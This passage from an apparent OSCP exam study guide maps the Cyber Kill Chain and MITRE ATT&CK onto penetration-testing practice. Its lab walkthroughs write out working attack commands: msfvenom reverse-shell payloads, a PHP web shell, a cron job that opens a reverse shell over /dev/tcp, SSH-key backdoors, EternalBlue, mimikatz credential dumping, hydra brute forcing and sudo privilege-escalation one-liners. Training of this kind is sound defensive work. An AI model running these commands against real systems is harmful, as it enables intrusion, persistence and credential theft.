│  │  TACTIC  │  TACTIC  │  TACTIC  │  TACTIC  │  TACTIC  │   │
│  │  (Why)   │  (Why)   │  (Why)   │  (Why)   │  (Why)   │   │
│  ├──────────┼──────────┼──────────┼──────────┼──────────┤   │
│  │Technique │Technique │Technique │Technique │Technique │   │
│  │(How)     │(How)     │(How)     │(How)     │(How)     │   │
│  │T1xxx     │T1xxx     │T1xxx     │T1xxx     │T1xxx     │   │
│  ├──────────┼──────────┼──────────┼──────────┼──────────┤   │
│  │Sub-tech  │Sub-tech  │Sub-tech  │Sub-tech  │Sub-tech  │   │
│  │T1xxx.0xx │T1xxx.0xx │T1xxx.0xx │T1xxx.0xx │T1xxx.0xx │   │
│  └──────────┴──────────┴──────────┴──────────┴──────────┘   │
│                                                              │
│  Matrix Platforms: Enterprise | PRE | Mobile | ICS           │
└──────────────────────────────────────────────────────────────┘

All 14 Tactics with Key Techniques

Tactic 1: Initial Access (TA0001)

Goal: Get into the target environment.

Technique ID Technique Name Description OSCP Relevance
T1566 Phishing Deceptive messages to compromise users Medium
T1566.001 Spearphishing Attachment Malicious file attachment Medium
T1566.002 Spearphishing Link Malicious URL in email Low
T1190 Exploit Public-Facing Application Exploit internet-facing service Very High
T1078 Valid Accounts Use legitimate credentials High
T1133 External Remote Services RDP, SSH, VPN access High
T1195 Supply Chain Compromise Compromise software supply chain Low
T1199 Trusted Relationship Abuse trusted relationships Low

Tactic 2: Execution (TA0002)

Goal: Run malicious code on the target.

Technique ID Technique Name Description OSCP Relevance
T1059 Command and Scripting Interpreter Run commands via CLI/PowerShell/Bash Very High
T1059.001 PowerShell Execute PowerShell commands High
T1059.004 Unix Shell Execute bash/sh commands Very High
T1204 User Execution Trick user into running malware Medium
T1047 Windows Management Instrumentation Execute via WMI Medium
T1053 Scheduled Job/Script Execute via scheduled task Medium
T1216 Signed Script Abuse signed scripts Low

Tactic 3: Persistence (TA0003)

Goal: Maintain access across restarts and reboots.

Technique ID Technique Name Description OSCP Relevance
T1547 Boot or Logon Autostart Execution Registry run keys, startup folder High
T1547.001 Registry Run Keys / Startup Folder Windows auto-start High
T1053 Scheduled Task/Job Cron jobs, scheduled tasks High
T1098 Account Manipulation Create backdoor accounts High
T1098.004 SSH Authorized Keys Add SSH public key High
T1136 Create Account Create new user account High
T1543 Create or Modify System Process Install service High
T1546 Event Triggered Execution DLL hijacking, COM hijacking Medium

Tactic 4: Privilege Escalation (TA0004)

Goal: Gain higher-level permissions.

Technique ID Technique Name Description OSCP Relevance
T1068 Exploitation for Privilege Escalation Kernel/exploit-based privesc Very High
T1548 Abuse Elevation Control Mechanism UAC bypass, Setuid High
T1548.002 Bypass User Account Control UAC bypass techniques Medium
T1134 Access Token Manipulation Token impersonation High
T1134.003 Make and Impersonate Token Impersonate token privesc High
T1078.001 Default Accounts Default credentials High
T1078.003 Local Accounts Local admin accounts High
T1575 Implant Instrumentation Install monitoring tools Low

Tactic 5: Defense Evasion (TA0005)

Goal: Avoid detection by security controls.

Technique ID Technique Name Description OSCP Relevance
T1027 Obfuscated Files or Information Encode/encrypt payloads Medium
T1027.002 Software Packing Pack executables (UPX) Medium
T1036 Masquerading Impersonate legitimate processes Medium
T1070 Indicator Removal Clear logs, remove artifacts Medium
T1070.001 Clear Windows Event Logs Wevtutil clear-log Medium
T1070.002 Clear Linux or Mac System Logs Clear bash history, auth.log Medium
T1222 File and Directory Permissions Modify permissions to hide Low
T1620 Reflective Code Loading Load code without disk write Low

Tactic 6: Credential Access (TA0006)

Goal: Obtain authentication credentials.

Technique ID Technique Name Description OSCP Relevance
T1003 OS Credential Dumping LSASS, SAM, /etc/shadow Very High
T1003.001 LSASS Memory Dump LSASS for credentials High
T1003.002 Security Account Manager Dump SAM database High
T1110 Brute Force Password guessing attacks High
T1110.001 Password Guessing Try common passwords High
T1110.003 Password Spraying Try one password against many users High
T1556 Modify Authentication Process Change auth mechanisms Low
T1552 Unsecured Credentials Find creds in files/registry High
T1552.001 Credentials In Files Find passwords in config files High
T1552.002 Credentials in Registry Find passwords in Windows registry High

Tactic 7: Discovery (TA0007)

Goal: Enumerate the target environment.

Technique ID Technique Name Description OSCP Relevance
T1087 Account Discovery Enumerate user accounts Very High
T1087.001 Local Account Enumerate local users Very High
T1082 System Information Discovery Get OS, architecture info Very High
T1046 Network Service Discovery Scan for network services Very High
T1120 Peripheral Device Discovery Enumerate connected devices Low
T1057 Process Discovery Enumerate running processes High
T1012 Query Registry Enumerate Windows registry High
T1124 System Time Discovery Get system time/timezone Low
T1083 File and Directory Discovery Enumerate files and folders High
T1614 System Location Discovery Get system language/location Low

Tactic 8: Lateral Movement (TA0008)

Goal: Move from one system to another.

Technique ID Technique Name Description OSCP Relevance
T1021 Remote Services Move via RDP, SMB, SSH Very High
T1021.001 Remote Desktop Protocol RDP lateral movement High
T1021.004 SSH SSH lateral movement Very High
T1570 Lateral Tool Transfer Transfer tools to new host High
T1080 Taint Shared Content Modify shared resources Low
T1563 Remote Service Hijacking Hijack remote service Low
T1563.002 Remote Services: SMB/Windows Admin psexec, smbexec High

Tactic 9: Collection (TA0009)

Goal: Gather data of interest.

Technique ID Technique Name Description OSCP Relevance
T1005 Data from Local System Collect data from local files High
T1056 Input Capture Keylogging, screen capture Low
T1115 Screen Capture Take screenshots Low
T1530 Data from Cloud Storage Collect from cloud services Low
T1557 Adversary-in-the-Middle Intercept credentials Medium

Tactic 10: Command and Control (TA0011)

Goal: Communicate with compromised systems.

Technique ID Technique Name Description OSCP Relevance
T1071 Application Layer Protocol C2 over HTTP/S, DNS, SSH High
T1071.001 Web Protocols C2 over HTTP/HTTPS High
T1090 Proxy Route C2 through proxy Medium
T1090.002 External Proxy Route through external proxy Medium
T1095 Non-Application Layer Protocol Custom protocol C2 Medium
T1102 Web Service Use web service for C2 Low
T1573 Encrypted Channel Encrypt C2 communications Medium
T1008 Fallback Channel Backup C2 channel Low

Tactic 11: Exfiltration (TA0010)

Goal: Steal data from the target.

Technique ID Technique Name Description OSCP Relevance
T1041 Exfiltration Over C2 Channel Send data via C2 High
T1048 Exfiltration Over Alternative Protocol Use alt protocol (DNS, ICMP) Low
T1567 Exfiltration Over Web Service Upload to cloud/web service Medium
T1029 Scheduled Transfer Time-based exfiltration Low
T1030 Data Transfer Size Limits Chunk data to avoid detection Low
T1560 Archive Collected Data Compress before exfiltration Medium

Tactic 12: Impact (TA0040)

Goal: Disrupt operations or destroy data.

Technique ID Technique Name Description OSCP Relevance
T1486 Data Encrypted for Impact Ransomware encryption Low
T1489 Service Stop Stop critical services Low
T1490 Inhibit System Recovery Delete backups, shadow copies Low
T1491 Defacement Modify web content Low
T1499 Endpoint Denial of Service Crash/overload endpoint Low

Tactic 13: Reconnaissance (TA0043)

Goal: Gather target information pre-attack.

Technique ID Technique Name Description OSCP Relevance
T1589 Gather Victim Identity Information Research target personnel Medium
T1590 Gather Victim Network Information Research target network Medium
T1591 Gather Victim Host Information Research target systems Medium
T1592 Gather Victim Org Information Research target organization Medium
T1593 Search Open Websites/Domains Search public websites Medium
T1595 Active Scanning Port scanning, vulnerability scanning Very High
T1595.001 Scanning IP Blocks Scan IP ranges High
T1596 Search Open Technical Databases Search Shodan, Censys Medium
T1597 Search Closed Sources Search non-public sources Low
T1598 Phishing for Information Gather info via phishing Low

Tactic 14: Resource Development (TA0042)

Goal: Set up infrastructure for the attack.

Technique ID Technique Name Description OSCP Relevance
T1583 Acquire Infrastructure Purchase domains, servers Low
T1584 Compromise Infrastructure Compromise third-party systems Low
T1586 Compromise Accounts Compromise social media/email Low
T1587 Develop Capabilities Develop exploits, tools Low
T1588 Obtain Capabilities Acquire tools/exploits Low

ATT&CK vs Kill Chain

Aspect Cyber Kill Chain MITRE ATT&CK
Origin Lockheed Martin (2011) MITRE Corporation (2013)
Structure 7 linear phases 14 tactics, 200+ techniques
Perspective Adversary-centric, defender-focused Adversary behavior knowledge base
Granularity High-level phases Detailed techniques and sub-techniques
Use Case Defense planning, disruption points Detection engineering, threat hunting, red team planning
Linearity Linear (must follow sequence) Non-linear (techniques can be used in any order)
Real-World Mapping Generic phases Specific real-world observations
Platform Coverage Generic Enterprise, PRE, Mobile, ICS
Update Frequency Static Continuously updated
Best For Understanding attack flow, defense layers Detailed technique mapping, detection rules

Using ATT&CK for Red Team Planning

Coverage Mapping:

Step 1: Define Scope and Objectives
├── What systems are in scope?
├── What are the objectives? (domain admin, data exfil, etc.)
└── What constraints exist? (no AV bypass, specific techniques only)

Step 2: Select Relevant Tactics
├── Initial Access: How will you get in?
├── Execution: How will you run code?
├── Persistence: How will you maintain access?
├── Privilege Escalation: How will you escalate?
├── Discovery: What will you enumerate?
├── Lateral Movement: How will you move?
└── Collection/Exfiltration: What data will you collect?

Step 3: Map Techniques to Tools
├── T1190 (Exploit Public-Facing App) → Metasploit, custom exploits
├── T1059.001 (PowerShell) → Invoke-Expression, encoded commands
├── T1003.001 (LSASS) → mimikatz, procdump
├── T1021.001 (RDP) → rdesktop, xfreerdp
└── T1041 (Exfil Over C2) → Meterpreter download, scp

Step 4: Build Detection Coverage
├── What logs will each technique generate?
├── What SIEM rules should trigger?
└── What EDR detections should fire?

Step 5: Execute and Document
├── Execute techniques in order
├── Document each technique used
└── Map results back to ATT&CK matrix

ATT&CK Navigator Layers:

{
    "name": "OSCP Exam Coverage",
    "techniques": [
        {"techniqueID": "T1190", "tactic": "initial-access", "color": "#00ff00", "comment": "Web app exploitation"},
        {"techniqueID": "T1059", "tactic": "execution", "color": "#00ff00", "comment": "Command execution"},
        {"techniqueID": "T1068", "tactic": "privilege-escalation", "color": "#00ff00", "comment": "Local privesc"},
        {"techniqueID": "T1021", "tactic": "lateral-movement", "color": "#00ff00", "comment": "SSH/RDP/SMB"},
        {"techniqueID": "T1003", "tactic": "credential-access", "color": "#ffff00", "comment": "Credential dumping"},
        {"techniqueID": "T1046", "tactic": "discovery", "color": "#00ff00", "comment": "Network scanning"}
    ]
}

3. OSCP Exam Mapping

Kill Chain Phases in the OSCP Exam

The OSCP exam compresses the full kill chain into a practical engagement. Here’s how each phase maps:

Kill Chain Phase OSCP Exam Activity Time Budget Criticality
1. Reconnaissance Nmap scanning, service enumeration 1-2 hours per machine Critical
2. Weaponization Payload generation (msfvenom) Minutes per machine High
3. Delivery Web upload, exploit delivery Minutes per machine High
4. Exploitation Initial foothold via exploit 30 min - 2 hours per machine Critical
5. Installation Shell stabilization, persistence Minutes per machine Medium
6. Command & Control Meterpreter, SSH tunnels, chisel Ongoing Critical
7. Actions on Objectives Capture user.txt, root.txt Minutes per machine Critical

Exam Phase Breakdown

Phase 1: Reconnaissance (Exam Hours 0-2)

# Initial broad scan of all targets
for ip in 10.10.10.{1..254}; do
    nmap -sV -T4 --top-ports 100 -oA /enum/$ip $ip &
done
wait

# Deep scan of interesting targets
nmap -sV -sC -p- -T4 -oA /enum/deep_10.10.10.5 10.10.10.5

# Web enumeration
gobuster dir -u http://10.10.10.5 -w /usr/share/wordlists/dirb/common.txt -x php,txt,html -o /enum/gobuster_10.10.10.5.txt

# Note everything in your enumeration notes
# This is CRITICAL for the exam

Phase 2-4: Initial Access (Exam Hours 2-8)

# Research vulnerabilities found in recon
searchsploit Apache 2.4.49
searchsploit OpenVPN 2.4.7

# Test exploits
msfconsole
use exploit/multi/http/apache_struts2_content_type_ognl
set RHOSTS 10.10.10.5
set LHOST 10.10.14.5
exploit

# Or manual exploitation
python3 exploit.py 10.10.10.5 80

Phase 5-6: Post-Exploitation (Exam Hours 8-16)

# Shell stabilization
python3 -c 'import pty; pty.spawn("/bin/bash")'

# Local enumeration
# Linux:
uname -a
id
cat /etc/passwd
sudo -l
find / -perm -4000 -type f 2>/dev/null
linpeas.sh

# Windows:
whoami /all
systeminfo
net user
net group "Domain Admins" /domain
winPEASx64.exe

# Privilege escalation
# Linux: Exploit SUID, sudo misconfig, kernel exploit
# Windows: Exploit service, token impersonation, UAC bypass

# Lateral movement
ssh user@10.10.10.10
xfreerdp /v:10.10.10.10 /u:user /p:password

Phase 7: Objectives (Exam Hours 16-20)

# Capture flags
cat /home/user/user.txt
cat /root/root.txt

# Document everything for the report
# Take screenshots of each step

Lab Machine to ATT&CK Technique Mapping

Machine Type Primary Techniques Secondary Techniques
Web App Machines T1190, T1059.004, T1068 T1087, T1083, T1552
Windows Service Machines T1190, T1068, T1078 T1003, T1021, T1059.001
Linux Privilege Escalation T1068, T1078.003, T1548 T1087, T1057, T1083
Active Directory Machines T1078, T1003, T1021 T1558, T1649, T1087
Database Machines T1190, T1059, T1005 T1078, T1068
Network Device Machines T1190, T1078.001 T1068, T1059

4. Detailed Phase Walkthroughs

Complete Kill Chain Walkthrough: Web Application to Domain Admin

This walkthrough demonstrates a complete attack following the kill chain against a hypothetical target.

Phase 1: Reconnaissance

# Step 1.1: Initial network discovery
nmap -sV -sC -T4 -p- -oA recon/initial 10.10.10.50

# Output analysis:
# PORT      STATE  SERVICE  VERSION
# 22/tcp    open   ssh      OpenSSH 8.2p1
# 80/tcp    open   http     Apache httpd 2.4.49
# 443/tcp   open   ssl/http Apache httpd 2.4.49
# 3306/tcp  open   mysql    MySQL 8.0.23

# Step 1.2: Web application enumeration
gobuster dir -u http://10.10.10.50 -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,js,css -o recon/gobuster_80.txt

# Found: /admin, /uploads, /backup, /api

# Step 1.3: Technology fingerprinting
whatweb http://10.10.10.50
# Output: Apache 2.4.49, PHP 7.4.3, WordPress 5.7

# Step 1.4: Vulnerability research
searchsploit Apache 2.4.49
# Found: CVE-2021-41773 (Path traversal and RCE)

searchsploit WordPress 5.7
# Found: Multiple plugin vulnerabilities

# Step 1.5: Check for default credentials
# Try common admin credentials on /admin
# admin/admin, admin/password, admin/admin123

Phase 2: Weaponization

# Step 2.1: Generate reverse shell payload
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4443 -f raw > shell.php

# Step 2.2: Generate Linux payload for post-exploitation
msfvenom -p linux/x86_64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f elf > shell.elf

# Step 2.3: Prepare web shell (backup option)
echo '<?php system($_GET["cmd"]); ?>' > simple_shell.php

# Step 2.4: Set up Metasploit listener
msfconsole
use exploit/multi/handler
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST 10.10.14.5
set LPORT 4443
exploit -j -z

Phase 3: Delivery

# Step 3.1: Upload via file upload vulnerability
# Found upload functionality at /uploads/
curl -X POST http://10.10.10.50/uploads/ \
  -F "file=@shell.php" \
  -H "Content-Type: multipart/form-data"

# Step 3.2: Alternative — exploit CVE-2021-41773
# Path traversal to write file
curl -X GET "http://10.10.10.50/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"

# Step 3.3: Alternative — WordPress plugin upload
# Upload malicious plugin through admin panel

Phase 4: Exploitation

# Step 4.1: Trigger the web shell
curl http://10.10.10.50/uploads/shell.php

# Meterpreter session opens in Metasploit
# [*] Meterpreter session 1 opened (10.10.14.5:4443 -> 10.10.10.50:45678)

# Step 4.2: Upgrade to full Meterpreter
sessions -i 1

# Step 4.3: Get basic system info
sysinfo
# Computer: target
# OS: Ubuntu 20.04 (Linux 5.4.0-42-generic)
# Architecture: x86_64
# Meterpreter: x86_64/linux

# Step 4.4: Get interactive shell
shell
whoami
# www-data

Phase 5: Installation

# Step 5.1: Upload and run local enumeration script
upload /opt/tools/linpeas.sh /tmp/linpeas.sh
chmod +x /tmp/linpeas.sh
/tmp/linpeas.sh

# Step 5.2: Establish persistence (for lab practice)
# Add SSH key
echo "ssh-rsa AAAAB3... attacker@kali" >> /home/user/.ssh/authorized_keys

# Create cron job for reverse shell
echo "* * * * * bash -i >& /dev/tcp/10.10.14.5/4445 0>&1" | crontab -

Phase 6: Command & Control

# Step 6.1: Use Meterpreter for C2
# Already established via reverse_tcp

# Step 6.2: Set up SSH tunnel for stable access
# From compromised host:
ssh -R 9001:localhost:22 user@10.10.14.5

# Step 6.3: Use chisel for reverse tunnel (alternative)
# On compromised host:
./chisel client 10.10.14.5:8080 9090:localhost:22

# On attacker:
./chisel server --port 8080 --reverse

Phase 7: Actions on Objectives

# Step 7.1: Local privilege escalation
# Found SUID binary: /usr/local/bin/custom_app
# Research exploit for the binary version

# Or found sudo misconfiguration:
sudo -l
# (ALL) NOPASSWD: /usr/bin/vim

# Escalate:
sudo vim -c ':!/bin/sh'

# Step 7.2: Capture root flag
cat /root/root.txt

# Step 7.3: Lateral movement to next target
# Found credentials in /home/user/.bash_history
# ssh admin@10.10.10.51

# Step 7.4: Repeat for all targets

5. Practical Examples

Example 1: Complete Web App Kill Chain

# === RECONNAISSANCE ===
# Target: 10.10.10.100
nmap -sV -sC -p- -T4 10.10.10.100
# Found: 22/ssh, 80/http (Apache 2.4.38, PHP 7.3.5)

gobuster dir -u http://10.10.10.100 -w /usr/share/wordlists/dirb/common.txt -x php
# Found: /login.php, /admin/, /uploads/

# === WEAPONIZATION ===
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4443 -f raw > /tmp/webshell.php

# === DELIVERY ===
# Upload via /uploads/ directory
curl -F "file=@/tmp/webshell.php" http://10.10.10.100/uploads/upload.php

# === EXPLOITATION ===
# Trigger shell
curl http://10.10.10.100/uploads/webshell.php
# Meterpreter session opened

# === INSTALLATION ===
# Upload linpeas for enumeration
upload /opt/tools/linpeas.sh /tmp/
chmod +x /tmp/linpeas.sh
/tmp/linpeas.sh > /tmp/linpeas_output.txt 2>&1
download /tmp/linpeas_output.txt

# === C2 ===
# Meterpreter session active
# Upload second-stage payload for stability
upload /tmp/shell.elf /tmp/update
chmod +x /tmp/update

# === ACTIONS ON OBJECTIVES ===
# Found sudo misconfiguration
sudo -l
# User www-data may run: (ALL) NOPASSWD: /usr/bin/find

# Escalate:
sudo find . -exec /bin/sh \; -quit

# Capture flags:
cat /home/user/user.txt
cat /root/root.txt

Example 2: Windows Service Exploitation Kill Chain

# === RECONNAISSANCE ===
nmap -sV -sC -p- -T4 10.10.10.200
# Found: 22/ssh, 80/http, 445/smb, 3389/rdp

enum4linux -a 10.10.10.200
# Found: SMB shares, null session possible

# === WEAPONIZATION ===
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4443 -f exe > payload.exe

# === DELIVERY + EXPLOITATION ===
msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.10.10.200
set LHOST 10.10.14.5
set PAYLOAD windows/x64/meterpreter/reverse_tcp
exploit

# === INSTALLATION ===
# Meterpreter session as SYSTEM
# Upload winPEAS
upload /opt/tools/winPEASx64.exe C:\Users\Public\winPEAS.exe
execute -f C:\Users\Public\winPEAS.exe -a "-quiet"

# === C2 ===
# Meterpreter active, migrate to stable process
migrate 4532  # Migrate to explorer.exe or similar

# === ACTIONS ON OBJECTIVES ===
# Dump credentials
load mimikatz
mimikatz_command -f samdump::hashes

# Capture flags
cat C:\Users\Administrator\Desktop\root.txt

Example 3: SSH Brute Force + Privilege Escalation

# === RECONNAISSANCE ===
nmap -sV -p 22 10.10.10.150
# Found: OpenSSH 7.4 (CentOS 7)

# === WEAPONIZATION ===
# Prepare wordlist
# Use default user list + custom words
cp /usr/share/wordlists/metasploit/unix_users.txt users.txt
cp /usr/share/wordlists/rockyou.txt passwords.txt

# === DELIVERY + EXPLOITATION ===
# Brute force SSH
hydra -L users.txt -P passwords.txt -t 16 ssh://10.10.10.150
# Found: jsmith:P@ssw0rd123

# Connect
ssh jsmith@10.10.10.150

# === INSTALLATION ===
# Upload enumeration tools
scp /opt/tools/linpeas.sh jsmith@10.10.10.150:/tmp/
ssh jsmith@10.10.10.150 "chmod +x /tmp/linpeas.sh && /tmp/linpeas.sh > /tmp/peas.txt"
scp jsmith@10.10.10.150:/tmp/peas.txt .

# === C2 ===
# Set up reverse SSH tunnel
ssh -R 9001:localhost:22 jsmith@10.10.10.150

# === ACTIONS ON OBJECTIVES ===
# Check sudo permissions
sudo -l
# Found: (ALL) NOPASSWD: /usr/bin/python3

# Escalate:
sudo python3 -c 'import os; os.system("/bin/sh")'

# Capture flags
cat /home/jsmith/user.txt
cat /root/root.txt

6. Lab Exercises

Exercise 1: End-to-End Kill Chain Simulation

Objective: Execute a complete kill chain against a vulnerable VM (e.g., Metasploitable2, DVWA, or an OSCP-like machine).

Prerequisites:

  • Kali Linux attacker machine
  • Vulnerable target VM (Metasploitable2 recommended)
  • Both machines on the same network

Steps:

# PHASE 1: RECONNAISSANCE
echo "=== Phase 1: Reconnaissance ==="

# 1.1 Network discovery
nmap -sV -sC -T4 -p- -oA lab/phase1_recon <TARGET_IP>

# 1.2 Web enumeration
gobuster dir -u http://<TARGET_IP> -w /usr/share/wordlists/dirb/common.txt -x php,asp,jsp,txt -o lab/phase1_web

# 1.3 Service-specific enumeration
enum4linux -a <TARGET_IP>
whatweb http://<TARGET_IP>

# 1.4 Vulnerability research
searchsploit <SERVICE> <VERSION>

# PHASE 2: WEAPONIZATION
echo "=== Phase 2: Weaponization ==="

# 2.1 Generate appropriate payload
msfvenom -p <PAYLOAD> LHOST=<ATTACKER_IP> LPORT=4443 -f <FORMAT> -o lab/payload.<EXT>

# PHASE 3: DELIVERY
echo "=== Phase 3: Delivery ==="

# 3.1 Deliver payload (method depends on vulnerability)
# Web upload, email, direct exploit, etc.

# PHASE 4: EXPLOITATION
echo "=== Phase 4: Exploitation ==="

# 4.1 Set up listener
msfconsole
use exploit/multi/handler
set PAYLOAD <PAYLOAD>
set LHOST <ATTACKER_IP>
set LPORT 4443
exploit -j -z

# 4.2 Trigger exploitation
# Execute the exploit against the target

# PHASE 5: INSTALLATION
echo "=== Phase 5: Installation ==="

# 5.1 Stabilize shell
# Upgrade to TTY, upload enumeration tools

# 5.2 Run local enumeration
# Linux: linpeas.sh
# Windows: winPEASx64.exe

# PHASE 6: COMMAND & CONTROL
echo "=== Phase 6: Command & Control ==="

# 6.1 Establish stable C2
# Meterpreter, SSH tunnel, or chisel

# PHASE 7: ACTIONS ON OBJECTIVES
echo "=== Phase 7: Actions on Objectives ==="

# 7.1 Privilege escalation
# Research and exploit local privesc vector

# 7.2 Capture objectives
# Read user.txt and root.txt

# 7.3 Document everything
# Take screenshots, save command outputs

Exercise 2: ATT&CK Technique Mapping

Objective: Map your lab exercises to MITRE ATT&CK techniques.

Steps:

  1. Perform Exercise 1 against a target
  2. For each action taken, identify the corresponding ATT&CK technique
  3. Create a mapping table:
Action Taken ATT&CK Tactic ATT&CK Technique Technique ID
Nmap scan Reconnaissance Active Scanning T1595
Gobuster dir Discovery Network Service Discovery T1046
msfvenom payload Resource Development Obtain Capabilities T1588
Web shell upload Initial Access Exploit Public-Facing App T1190
Meterpreter shell Execution Command and Scripting Interpreter T1059
linpeas.sh Discovery System Information Discovery T1082
sudo privesc Privilege Escalation Exploitation for Priv Esc T1068
cat root.txt Collection Data from Local System T1005

Exercise 3: Defense Simulation

Objective: Set up detection for each kill chain phase.

Steps:

  1. Install and configure Snort/Suricata IDS
  2. Set up OSSEC HIDS on the target
  3. Perform Exercise 1 while monitoring detections
  4. Document which phases were detected and which were not
  5. Tune detection rules to improve coverage

7. Key Tools Reference

Comprehensive Tool Table by Kill Chain Phase

Phase Tool Purpose Command Example Platform
Recon nmap Port scanning, service detection nmap -sV -sC -p- <IP> All
Recon masscan Fast port scanning masscan -p1-65535 <IP>/24 Linux
Recon gobuster Directory/file enumeration gobuster dir -u <URL> -w <wordlist> All
Recon ffuf Fuzzing, enumeration ffuf -u <URL>/FUZZ -w <wordlist> All
Recon theHarvester OSINT gathering theHarvester -d <domain> -b all Linux
Recon subfinder Subdomain enumeration subfinder -d <domain> All
Recon amass Subdomain discovery amass enum -d <domain> All
Recon enum4linux SMB enumeration enum4linux -a <IP> Linux
Recon whatweb Web tech fingerprinting whatweb <URL> Linux
Recon nikto Web vulnerability scanner nikto -h <URL> Linux
Recon shodan Internet device search shodan search <query> All
Recon censys Certificate/device search censys search <query> All
Weapon msfvenom Payload generation msfvenom -p <payload> -f <fmt> All
Weapon Veil-Evasion AV evasion payloads veil-evasion Linux
Weapon Donut .NET to shellcode donut -f 1 -o output.bin assembly.dll All
Weapon UPX Binary packing upx --best payload.exe All
Delivery SET Social engineering toolkit setoolkit Linux
Delivery gophish Phishing framework ./gophish All
Delivery curl HTTP delivery curl -F "file=@payload" <URL> All
Delivery wget HTTP delivery wget <URL>/payload All
Delivery python3 HTTP server python3 -m http.server 8080 All
Exploit metasploit Exploitation framework msfconsole All
Exploit searchsploit Exploit database search searchsploit <service> Linux
Exploit sqlmap SQL injection sqlmap -u <URL> --dbs Linux
Exploit burpsuite Web app testing GUI application All
Exploit hydra Brute force hydra -l user -P pass.txt ssh://<IP> Linux
Exploit john Password cracking john --wordlist=rockyou.txt hash.txt Linux
Exploit hashcat GPU password cracking hashcat -m 0 -a 0 hash.txt pass.txt All
Install ssh SSH access ssh user@<IP> All
Install scp File transfer scp file user@<IP>:path All
Install cron Scheduled persistence crontab -e Linux
Install schtasks Windows scheduled tasks schtasks /create ... Windows
Install sc Windows service management sc create <name> ... Windows
C2 metasploit C2 framework use exploit/multi/handler All
C2 Sliver C2 framework sliver-server All
C2 chisel Reverse tunneling chisel client <IP>:8080 ... All
C2 ssh SSH tunneling ssh -L/-R/-D ... All
C2 iodine DNS tunneling iodine -d -P pass tun0 All
C2 dnscat2 DNS C2 dnscat2 server.rb All
Actions mimikatz Credential dumping mimikatz # sekurlsa::logonpasswords Windows
Actions linpeas Linux enumeration ./linpeas.sh Linux
Actions winPEAS Windows enumeration winPEASx64.exe Windows
Actions netcat Data transfer nc -lvnp 4444 > data.txt All
Actions tar Data archiving tar czf data.tar.gz /path Linux
Actions 7z Data archiving 7z a data.7z /path All

Tool Categories Quick Reference

RECONNAISSANCE TOOLS:
├── Network Scanning: nmap, masscan, rustscan
├── Web Enumeration: gobuster, ffuf, dirb, dirbuster
├── OSINT: theHarvester, Maltego, subfinder, amass
├── Service Enum: enum4linux, nmap scripts
└── Fingerprinting: whatweb, wappalyzer, nikto

WEAPONIZATION TOOLS:
├── Payload Gen: msfvenom, Donut, Veil-Evasion
├── Encoding: msfvenom encoders, UPX
└── Custom: Python scripts, shellcode generators

DELIVERY TOOLS:
├── Phishing: SET, gophish
├── Web Upload: curl, wget, python http.server
└── Physical: USB tools, ISO creators

EXPLOITATION TOOLS:
├── Frameworks: Metasploit, Cobalt Strike
├── Web: Burp Suite, sqlmap, OWASP ZAP
├── Auth: hydra, medusa, john, hashcat
└── Database: searchsploit, Exploit-DB

POST-EXPLOITATION TOOLS:
├── Enumeration: linpeas, winPEAS, linux-smart-enumeration
├── Credentials: mimikatz, secretsdump.py, crackmapexec
├── Lateral: psexec, wmiexec, ssh, xfreerdp
└── Privilege Escalation: GTFOBins, Windows-Exploit-Suggester

C2 TOOLS:
├── Frameworks: Metasploit, Sliver, Cobalt Strike, Empire
├── Tunneling: chisel, ssh, frp, ligolo-ng
└── DNS: iodine, dnscat2

EXFILTRATION TOOLS:
├── Transfer: netcat, curl, wget, scp, ftp
├── Archive: tar, 7z, zip
└── Encoding: base64, xxd

8. Exam Tips

Time Management Strategy

Exam Duration: 23 Hours + 1 Hour for VPN connection
Recommended Time Allocation:

┌─────────────────────────────────────────────────────────────┐
│  HOURS 0-2:   Initial Reconnaissance (all targets)          │
│  HOURS 2-8:   Initial Access (get foothold on each machine) │
│  HOURS 8-14:  Privilege Escalation (user → root/admin)      │
│  HOURS 14-18: Lateral Movement (pivot between machines)     │
│  HOURS 18-20: Final Objectives (capture remaining flags)    │
│  HOURS 20-23: Report Writing and Review                     │
└─────────────────────────────────────────────────────────────┘

Kill Chain Efficiency Tips

Reconnaissance:

  • Run broad scans in parallel using background jobs
  • Focus deep scans only on targets with interesting services
  • Document EVERYTHING — your enumeration notes are your best friend
  • Use nmap -oA to save all output formats at once

Weaponization:

  • Pre-generate common payloads before the exam starts
  • Keep a template for msfvenom commands
  • Have both staged and stageless payloads ready

Exploitation:

  • Start with the easiest target first (builds confidence and momentum)
  • Use Metasploit for reliability, but have manual exploits as backup
  • If an exploit fails, move on — don’t spend more than 1-2 hours on one vector
  • Always try default credentials before complex exploits

Post-Exploitation:

  • Upload enumeration scripts immediately after getting a shell
  • Run sudo -l (Linux) and whoami /all (Windows) as first post-exploitation steps
  • Check for easy wins: SUID binaries, writable files, unquoted service paths
  • Use GTFOBins for Linux privilege escalation ideas

Lateral Movement:

  • Reuse credentials found on one machine for others
  • Check SSH authorized_keys, bash_history, and config files
  • Use found passwords against other services (password reuse is common)

Documentation:

  • Take screenshots at EVERY step (required for the report)
  • Save command outputs to files
  • Note the IP, vulnerability, exploit, and payload for each machine
  • Keep a running log of your progress

Common Exam Kill Chain Patterns

Pattern 1: Web App → Local Privesc
Recon → Web Vuln → Web Shell → User Shell → SUID/Sudo → Root

Pattern 2: Service Exploit → Credential Reuse
Recon → Service Vuln → Meterpreter → Credential Dump → SSH to Next → Privesc

Pattern 3: Brute Force → Privilege Escalation
Recon → Brute Force SSH/SMB → User Shell → Kernel Exploit → Root

Pattern 4: Database → Web → System
Recon → Database Access → Write Web Shell → User Shell → Privesc → Root

Pattern 5: Client-Side → Network Pivot
Recon → Client-Side Attack → User Shell → Network Discovery → Pivot → Admin

Quick Reference Commands for Exam

# Essential enumeration (run on every new shell)
# Linux:
id; uname -a; cat /etc/passwd; sudo -l; find / -perm -4000 -type f 2>/dev/null; crontab -l; cat /etc/crontab

# Windows:
whoami /all; systeminfo; net user; net group "Administrators"; dir C:\Users\; schtasks /query /fo LIST /v

# Essential lateral movement:
ssh user@<IP>
